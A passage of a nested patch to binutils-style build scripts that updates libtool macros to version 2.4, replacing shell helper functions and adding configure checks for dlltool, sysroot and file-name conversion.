--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/gas/configure b/gas/configure
-index d4b13e6fc8b..dd5224c5c81 100755
---- a/gas/configure
-+++ b/gas/configure
-@@ -681,8 +681,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -799,6 +802,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1490,6 +1494,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-cpu=CPU default cpu variant is CPU (currently only supported
- on ARC)
- --with-system-zlib use installed libz
-@@ -5277,8 +5283,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5318,7 +5324,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6004,8 +6010,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6054,6 +6060,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6070,6 +6150,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6238,7 +6323,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6392,6 +6478,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6407,9 +6508,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6425,7 +6679,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6445,11 +6699,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6465,7 +6723,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6484,6 +6742,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6495,12 +6757,10 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-
-
-
-@@ -6512,6 +6772,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-+
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
- set dummy ${ac_tool_prefix}strip; ac_word=$2
-@@ -6846,8 +7164,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
